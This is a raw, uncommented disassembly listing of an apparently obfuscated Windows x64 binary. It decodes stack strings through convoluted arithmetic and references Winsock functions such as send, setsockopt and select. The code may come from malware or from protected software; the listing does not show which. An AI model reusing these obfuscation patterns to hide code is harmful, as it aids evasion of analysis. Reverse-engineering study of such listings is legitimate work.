lea rdi, [r10 + 1]
lea r10, [rdi + 0x28]
jmp 0x1401edce8
movabs rdx, 0xf24a29ebcafd4716
add rdx, r11
mov al, r8b
and al, dl
mov ecx, 0x33
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401edc09
movabs rdx, 0xd82ec8145d51f210
add rdx, r11
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x70
jmp 0x1401ee30b
lea rdx, [r11 + r15]
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x1401ee379
movabs rdx, 0x6d5002ee56a78558
add rdx, r11
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x68
jmp 0x1401ee3bf
movabs rdx, 0x30d58cbd558b1de4
add rdx, r11
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x3c
jmp 0x1401ee165
lea rcx, [r11 + r12]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x10
jmp 0x1401ee43d
lea rcx, [r11 + r13]
mov al, r8b
and al, cl
add al, al
mov dl, r8b
sub dl, al
sub dl, 0x4a
jmp 0x1401edf8e
movabs rdx, 0xe223160f45fd758c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x1401ee00f
movabs rcx, 0xf0393d4b418bd7bc
add rcx, r11
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x24
jmp 0x1401ee388
movabs rdx, 0x774450e93f5308d4
mov ecx, reloc.WLDAP32.dll_Ordinal_26
add rdx, r11
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401ee35a
movabs rdx, 0x3ac9dab83e36a160
add rdx, r11
mov al, r8b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401ee332
movabs rdx, 0xfe4f64873d1a39ec
add rdx, r11
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x74
jmp 0x1401ee30b
lea rcx, [r10 + 2]
cmp rdi, rcx
jae 0x1401edff7
lea rcx, [r11 + rsi]
mov al, r8b
and al, cl
add al, al
mov dl, r8b
sub dl, al
sub dl, 0x16
add dl, cl
lea rax, [r10 + rdi]
cmp rax, 4
je 0x1401ee25b
lea rax, [r10 + 0x5a]
cmp rdi, rax
jbe 0x1401ee09c
movabs rdx, 0x349714d6a1e25352
add rdx, r11
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub dl, 0x3e
add dl, cl
cmp rdi, 0x28
jae 0x1401ee209
lea rax, [r10 + 0x41]
cmp rdi, rax
jbe 0x1401ee16c
movabs rdx, 0xaf9cedd92d8c9194
add rdx, r11
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub dl, 0xc
add dl, cl
cmp r10, 0x20
jb 0x1401ee1fd
movabs rdx, 0xc658bc338a89c1c
add rdx, r11
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x1401ee30d
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401ee026
movabs rdx, 0xf60bb20517547c84
mov ecx, reloc.WLDAP32.dll_Ordinal_50
add rdx, r11
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401ee43d
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401ee053
movabs rdx, 0x6f009e67198d4b6c
mov ecx, 6
add rdx, r11
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x1401ee3bf
cmp rdi, rcx
jne 0x1401ee07b
movabs rcx, 0xe7f58ac91bc61a54
add rcx, r11
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x4c
jmp 0x1401ee388
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x1401edf57
movabs rdx, 0xd9df638d2037b824
mov ecx, 2
jmp 0x1401ee2fb
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401ee0c6
movabs rdx, 0x71118b07a2febac6
add rdx, r11
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x6a
jmp 0x1401ee30b
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401ee0e3
movabs rdx, 0xea067769a53789ae
mov ecx, Ordinal_32
jmp 0x1401eded7
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1401ee10f
movabs rcx, 0x9f75d9fca88cc00a
add rcx, r11
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x46
jmp 0x1401ee38b
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x1401ee139
movabs rdx, 0xdbf0502da9a9277e
add rdx, r11
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x72
jmp 0x1401ee3bf
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401edf90
movabs rdx, 0x186ac65eaac58ef2
add rdx, r11
mov al, r8b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401ee3ee
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401ee198
movabs rcx, 0xec17640a2ea8f908
add rcx, r11
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x38
jmp 0x1401ee43d
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401ee1bf
movabs rdx, 0x2891da3b2fc5607c
add rdx, r11
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x64
jmp 0x1401ee165
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401ee1dc
movabs rdx, 0x650c506c30e1c7f0
mov ecx, Ordinal_60
jmp 0x1401ee03e
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x1401edfc5
movabs rdx, 0xcfeb1592378c34a8
mov ecx, 0x34
jmp 0x1401ee2fb
mov byte [rbp + r11 + 0x40], dl
mov bl, dl
jmp 0x1401ee449
movabs rcx, 0x48e001f439c50390
add rcx, r11
mov al, r8b
and al, cl
mov edx, 8
sub dl, al
add dl, dl
add dl, byte [rbp + r11 + 0x40]
add dl, r8b
add dl, cl
movabs rcx, 0x671d3d0cba53374a
add rcx, r11
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 6
add r8b, dl
add r8b, cl
mov byte [rbp + r11 + 0x40], r8b
mov bl, dl
jmp 0x1401ee388
movabs rdx, 0x855a78253ae16b04
add rdx, r11
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, byte [rbp + r11 + 0x40]
sub bl, 0x1c
jmp 0x1401ee3bf
movabs rdx, 0xe5e49e289254aafa
add rdx, r11
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401ee38b
movabs rdx, 0xa96a27f791384386
mov ecx, Ordinal_45
jmp 0x1401ee376
movabs rcx, 0xf3fac5648de30d2a
add rcx, r11
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x26
jmp 0x1401ee332
movabs rdx, 0xb7804f338cc6a5b6
mov ecx, 3
jmp 0x1401ee2fb
movabs rdx, 0x3e8b62d18a8dd6ce
mov ecx, Ordinal_50
add rdx, r11
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
movabs rdx, 0x2aa2c6dbb936cfd6
add rdx, r11
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r11 + 0x40], cl
mov eax, 1
add r10, rax
jmp 0x1401ee35f
movabs rcx, 0xc596766f885507e6
add rcx, r11
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x4a
mov eax, 1
sub r11, rax
jmp 0x1401ee44e
movabs rdx, 0x4ca18a0d861c38fe
mov ecx, 7
add rdx, r11
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
add rdi, r10
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
jmp 0x1401ee449
mov r8, r9
movabs rdx, 0xd3ac9dab83e36a16
add rdx, r11
mov al, dl
and al, r9b
mov ecx, 0x33
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
movabs rcx, 0xa397b33dbb6f9ebe
add rcx, r11
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x32
add cl, r8b
movzx eax, cl
mov byte [rbp + r11 + 0x40], al
inc r10
add rax, r10
sub r11, rax
movabs rcx, 0xc1d4ee563bfdd278
add rcx, r11
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x48
add r8b, cl
mov byte [rbp + r11 + 0x40], r8b
inc rdi
or rax, 0xffffffffffffffff
sub rax, rdi
add r11, rax
jmp 0x1401ee43d
movabs rcx, 0x5ab7b14981aa9b2e
add rcx, r11
mov al, r9b
and al, cl
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x42
movzx eax, byte [rbp + r11 + 0x40]
add rax, r10
add r11, rax
mov eax, 1
add r11, rax
jmp 0x1401edbf9
movabs rcx, 0xb5cfb3bac9e0dfa2
add rcx, r11
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x6e
jmp 0x1401edbf4
lea rcx, [r11 + r14]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x42
jmp 0x1401edbe4
lea rcx, [rbp + 0x14ac138]
jmp 0x1401ee4a9
lea rcx, [rbp + 0x118f4f2]
jmp 0x1401ee4a9
lea rcx, [rbp + 0x40]
mov edx, 1
call fcn.1402474a0
mov byte [rbp + 0x480], 0xfe
mov byte [rbp + 0x481], 0xb1
mov byte [rbp + 0x482], 0x87
mov byte [rbp + 0x483], 0xb3
mov byte [rbp + 0x484], 0xb4
mov byte [rbp + 0x485], reloc.WLDAP32.dll_Ordinal_41
xor eax, eax
mov qword [rbp + 0x486], rax
mov dword [rbp + 0x48e], eax
mov bl, byte [rsp + 0x50]
movabs rsi, 0x852f948bcec8ed5a
movabs r14, 0x2759038ad0d1750e
movabs r15, 0x5cda52a81649e85c
movabs r12, 0x527b299078b80da8
movabs r13, 0x3dbcd7613d945840
call fcn.14024ffe8
mov rdi, qword [rax]
call fcn.14024fff0
mov r11, qword [rax]
xor eax, eax
mov r9d, eax
cmp r9, 0x12
jae 0x1401ef0b0
movzx r8d, byte [rbp + r9 + 0x480]
mov r10, r8
cmp rdi, r9
ja 0x1401ef0a7
lea rax, [r11 + 1]
cmp rdi, rax
jae 0x1401ee578
lea rcx, [r9 + rsi]
mov rax, r8
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, r8
add rbx, rcx
sub bl, 0x76
jmp 0x1401ee5a5
je 0x1401ef028
lea rax, [r11 + 3]
cmp rdi, rax
je 0x1401eef9e
lea rax, [r11 + 5]
cmp rdi, rax
je 0x1401eef40
lea rax, [r11 + 9]
cmp rdi, rax
je 0x1401eeeeb
cmp r11, r9
ja 0x1401ef09e
lea rax, [r11 + 0x80]
cmp rdi, rax
jae 0x1401ee5dd
movabs rdx, 0xece72f77f67b7862
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401ee62b
lea rax, [r11 + 1]
cmp rdi, rax
je 0x1401eeeda
lea rax, [r11 + 2]
cmp rdi, rax
je 0x1401eeeb5
lea rax, [r11 + 3]
cmp rdi, rax
je 0x1401eee92
lea rax, [r11 + 5]
cmp rdi, rax
je 0x1401eee6f
lea rax, [r11 + 4]
cmp rdi, rax
je 0x1401eee4d
lea rax, [r11 + 9]
cmp rdi, rax
je 0x1401eee27
lea rax, [rdi + r11]
cmp rax, r9
jbe 0x1401eeb6f
lea rax, [r11 + 0x10]
cmp rdi, rax
je 0x1401eeb5b
lea rax, [r11 + 0xa]
cmp rdi, rax
je 0x1401eeb47
lea rax, [r11 + 9]
cmp rdi, rax
je 0x1401eeb33
lea rax, [r11 + 8]
cmp rdi, rax
je 0x1401eeb11
lea rax, [r11 + 6]
cmp rdi, rax
je 0x1401eeaef
lea rcx, [r11 + 5]
cmp rdi, rcx
je 0x1401eeacd
lea rax, [r11 + 4]
cmp rdi, rax
je 0x1401eeaac
lea rax, [r11 + 3]
cmp rdi, rax
je 0x1401eea8a
lea rax, [r11 + 0x20]
cmp rdi, rax
je 0x1401eea68
mov rdi, rcx
lea r11, [rcx + 0xa]
lea rax, [r11 + 4]
cmp rcx, rax
jb 0x1401ef085
lea rax, [r11 + 3]
cmp rcx, rax
jb 0x1401ef062
lea rax, [r11 + 2]
cmp rcx, rax
jb 0x1401ee81d
lea rax, [r11 + 1]
cmp rcx, rax
jb 0x1401ee7fb
lea rax, [r11 + 0x2a]
cmp rcx, rax
jb 0x1401ee7d9
lea rcx, [r11 + 0x5a]
cmp rdi, rcx
jb 0x1401eea06
lea rax, [r11 + 0x41]
cmp rdi, rax
jb 0x1401ee97f
lea rax, [r11 + 0x7a]
cmp rdi, rax
jb 0x1401ee96e
lea rax, [r11 + 0x61]
cmp rdi, rax
jb 0x1401ee940
lea rax, [r11 + 0x1000]
cmp rdi, rax
jb 0x1401ee638
mov rdi, rcx
lea r11, [rcx + 3]
lea rax, [r11 + 0x41]
cmp rcx, rax
ja 0x1401ee91e
lea rax, [r11 + 0x7a]
cmp rcx, rax
ja 0x1401ee8f8
lea rax, [r11 + 0x61]
cmp rcx, rax
ja 0x1401ee8d4
lea rax, [r11 + 0x1000]
cmp rcx, rax
ja 0x1401ee8ae
lea rax, [r11 + 0x400]
cmp rcx, rax
ja 0x1401ee891
lea rcx, [r11 + 0x3e8]
cmp rdi, rcx
ja 0x1401ee87d
lea rax, [r11 + 0x200]
cmp rdi, rax
ja 0x1401ee86f
lea rax, [r11 + 0x80]
cmp rdi, rax
ja 0x1401ee861
lea rax, [r11 + 0x64]
cmp rdi, rax
ja 0x1401ee83f
lea rax, [r11 + 0x42]
cmp rdi, rax
ja 0x1401ee638
mov rdi, rcx
lea r11, [rcx + 0x40]
jmp 0x1401ee638
movabs rcx, 0x50d5a7e94718dfde
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x12
jmp 0x1401ee62b
movabs rcx, 0x46767ed1a987052a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x26
jmp 0x1401ee5a5
movabs rcx, 0x3c1755ba0bf52a76
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x3a
jmp 0x1401ee54a
movabs rcx, 0x67397bbfb3dbc310
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x70
jmp 0x1401eef0c
lea rdx, [r9 + r15]
mov ecx, 0x3e
jmp 0x1401eece9
lea rdx, [r9 + r12]
mov ecx, 0x34
jmp 0x1401eed18
movabs rdx, 0x481c0078db2632f4
mov ecx, Ordinal_45
jmp 0x1401eef4f
lea rdx, [r9 + r13]
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401eef89
movabs rdx, 0x335dae49a0027d8c
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401eef8c
movabs rdx, 0x28fe85320270a2d8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, ntohl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x1401eefbd
movabs rdx, 0x1e9f5c1a64dec824
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 2
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401eeff1
movabs rcx, 0x14403302c74ced70
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x10
jmp 0x1401ef046
movabs rdx, 0x7a524c47bd604aae
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
mov byte [rbp + r9 + 0x480], bl
jmp 0x1401ef055
movabs rdx, 0x6ff323301fce6ffa
mov ecx, reloc.WS2_32.dll_setsockopt
jmp 0x1401ee9c9
movabs rdx, 0x6593fa18823c9546
add rdx, r9
mov al, dl
and al, r8b
mov ecx, ntohl
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
cmp rdi, 0x1000
jae 0x1401eedd0
lea rax, [r11 + 0x5a]
cmp rdi, rax
jbe 0x1401eed5c
movabs rdx, 0xa93d94c83c5c06d4
mov ecx, reloc.WLDAP32.dll_Ordinal_26
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
cmp r11, 0x42
jb 0x1401ee961
movabs rcx, 0x10f52fb4640e91dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, r8b
lea ebx, [rcx*2 - 8]
jmp 0x1401eef0c
movabs rdx, 0x5b34d100e4aaba92
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 1
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
lea rax, [rdi + r11]
mov ecx, 1
cmp rax, rcx
je 0x1401eedf9
lea rax, [r11 + 5]
cmp rdi, rax
jbe 0x1401eeca3
movabs rcx, 0xbc56655045e08e72
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x1e
jmp 0x1401ee9a0
movabs rcx, 0x8d6b1ccfc6e4d24c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x14
jmp 0x1401ef046
movabs rcx, 0x830bf3b82952f798
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x28
jmp 0x1401eeff1
movabs rdx, 0x78accaa08bc11ce4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x3c
jmp 0x1401eefbd
movabs rcx, 0x6e4da188ee2f4230
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x50
jmp 0x1401eef8c
movabs rcx, 0x63ee7871509d677c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x64
jmp 0x1401eef89
movabs rcx, 0x598f4f59b30b8cc8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x78
jmp 0x1401eef61
movabs rdx, 0x4f3026421579b214
mov ecx, Ordinal_60
jmp 0x1401eed15
movabs rdx, 0x44d0fd2a77e7d760
mov ecx, Ordinal_50
jmp 0x1401eece6
movabs rdx, 0x3a71d412da55fcac
mov ecx, Ordinal_41
jmp 0x1401eeefa
lea rcx, [r11 + 6]
cmp rdi, rcx
jae 0x1401eeb91
lea rcx, [r9 + rsi]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x76
jmp 0x1401eea27
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x1401eebbc
movabs rcx, 0xd9ce5eefecf6f0c4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x5c
jmp 0x1401ef046
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x1401eebe7
movabs rcx, 0x34b034e633e5b94
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0xc
jmp 0x1401eef89
cmp rdi, rcx
jne 0x1401eec12
movabs rdx, 0xdaa2c6600d03648
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401eef61
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x1401eec41
movabs rdx, 0x1809557d9e6210fc
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401eeed3
lea rax, [r11 + 4]
cmp rdi, rax
jne 0x1401eec70
movabs rdx, 0x22687e953bf3ebb0
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401eef30
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x1401eea27
movabs rdx, 0x2cc7a7acd985c664
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401eef0c
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x1401eecce
movabs rcx, 0xc6b58e67e3726926
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0xa
jmp 0x1401eef0c
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x1401eecfd
movabs rdx, 0xd114b77f810443da
mov ecx, 5
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401eef30
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x1401eed2c
movabs rdx, 0xdb73e0971e961e8e
mov ecx, reloc.WS2_32.dll_ntohs
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401eeed3
lea rax, [r11 + 8]
cmp rdi, rax
jne 0x1401ee9a0
movabs rcx, 0x19aed724d0013ec6
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x6a
jmp 0x1401ef046
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x1401eed79
movabs rdx, 0xb39cbddfd9ede188
mov ecx, 0x24
jmp 0x1401eee36
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x1401eeda0
movabs rdx, 0xc85b100f151196f0
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x1401eee1d
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x1401ee9db
movabs rcx, 0xdd19623e50354c58
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x68
jmp 0x1401eef89
movabs rdx, 0x1b5458cc01a06c90
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, byte [rbp + r9 + 0x480]
jmp 0x1401eef5c
movabs rdx, 0x25b381e39f324744
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0x480]
add bl, dl
add bl, r8b
jmp 0x1401eefbf
movabs rdx, 0x4a3fa14c809c28b6
mov ecx, 3
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401ef046
movabs rcx, 0x35814f1d4578734e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x22
jmp 0x1401eefbf
movabs rcx, 0x2b222605a7e6989a
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x36
jmp 0x1401eef8c
movabs rcx, 0x20c2fcee0a54bde6
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x4a
jmp 0x1401eef89
movabs rcx, 0xc04aabecf31087e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x72
mov eax, 1
jmp 0x1401eef38
movabs rdx, 0xf746588f940d5316
mov ecx, 0x33
jmp 0x1401eeefa
movabs rdx, 0xe288066058e99dae
mov ecx, Ordinal_32
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
movabs rcx, 0x9624c44032d77f36
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x7a
add cl, r8b
mov byte [rbp + r9 + 0x480], cl
mov eax, 1
add r11, rax
sub r9, rax
jmp 0x1401ef05a
movabs rdx, 0xc36a8b1980340d92
mov ecx, 1
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
movabs rdx, 0xa083ed57d06959ea
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, bl
sub cl, al
sub cl, 0x66
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x480], cl
add rdi, r11
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x1401ef055
mov r8, r10
movabs rdx, 0xa44d0fd2a77e7d76
add rdx, r9
mov al, dl
and al, r10b
add al, al
mov bl, r10b
sub bl, al
sub bl, 0x3a
add bl, dl
movabs rdx, 0xaae3166f6dfb349e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x52
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x480], al
inc r11
add rax, r11
sub r9, rax
movabs rdx, 0x3012aafb3cc421f8
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_32
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x480], cl
inc rdi
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x1401ef046
movabs rcx, 0x8f8ebda36c5ac80e
add rcx, r9
mov al, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x62
movzx eax, byte [rbp + r9 + 0x480]
add rax, r11
add r9, rax
mov eax, 1
add r9, rax
jmp 0x1401ee537
movabs rcx, 0x31b82ca26e634fc2
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x4e
jmp 0x1401ee532
lea rcx, [r9 + r14]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x62
jmp 0x1401ee522
lea rcx, [rbp + 0x17f7cf8]
jmp 0x1401ef0b7
lea rcx, [rbp + 0x1486a52]
jmp 0x1401ef0b7
lea rcx, [rbp + 0x480]
xor edx, edx
call fcn.1402474a0
xor r13d, r13d
test al, al
je 0x1401f4233
mov byte [rbp + 0xc10], 0x9b
mov byte [rbp + 0xc11], 0x59
mov byte [rbp + 0xc12], 0x80
mov byte [rbp + 0xc13], 0x5b
mov byte [rbp + 0xc14], 0xa0
mov byte [rbp + 0xc15], 0x45
mov byte [rbp + 0xc16], 0xbb
mov byte [rbp + 0xc17], 0x47
mov byte [rbp + 0xc18], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0xc19], 0x41
mov byte [rbp + 0xc1a], 0xaf
mov byte [rbp + 0xc1b], 0x43
mov byte [rbp + 0xc1c], 0xde
mov byte [rbp + 0xc1d], Ordinal_79
mov byte [rbp + 0xc1e], 0xdd
mov byte [rbp + 0xc1f], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0xc20], 0xac
mov byte [rbp + 0xc21], Ordinal_79
mov byte [rbp + 0xc22], 0x86
mov byte [rbp + 0xc23], Ordinal_79
mov byte [rbp + 0xc24], 0x99
mov byte [rbp + 0xc25], 0x75
mov byte [rbp + 0xc26], 0x98
mov byte [rbp + 0xc27], 0x77
mov byte [rbp + 0xc28], __WSAFDIsSet
mov byte [rbp + 0xc29], WSACleanup
mov byte [rbp + 0xc2a], 0xef
mov byte [rbp + 0xc2b], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0xc2c], 0xe8
mov byte [rbp + 0xc2d], 0x7d
mov byte [rbp + 0xc2e], 0xe2
mov byte [rbp + 0xc2f], 0x7f
mov byte [rbp + 0xc30], 0x9c
mov byte [rbp + 0xc31], 0x79
mov byte [rbp + 0xc32], 0xbb
mov byte [rbp + 0xc33], 0x7b
mov byte [rbp + 0xc34], 0xf4
mov byte [rbp + 0xc35], 0x65
mov byte [rbp + 0xc36], 0xf6
mov byte [rbp + 0xc37], 0x67
mov byte [rbp + 0xc38], 0xac
mov byte [rbp + 0xc39], 0x61
mov byte [rbp + 0xc3a], 0x83
mov byte [rbp + 0xc3b], 0x63
mov byte [rbp + 0xc3c], 0xf0
mov byte [rbp + 0xc3d], WSASetLastError
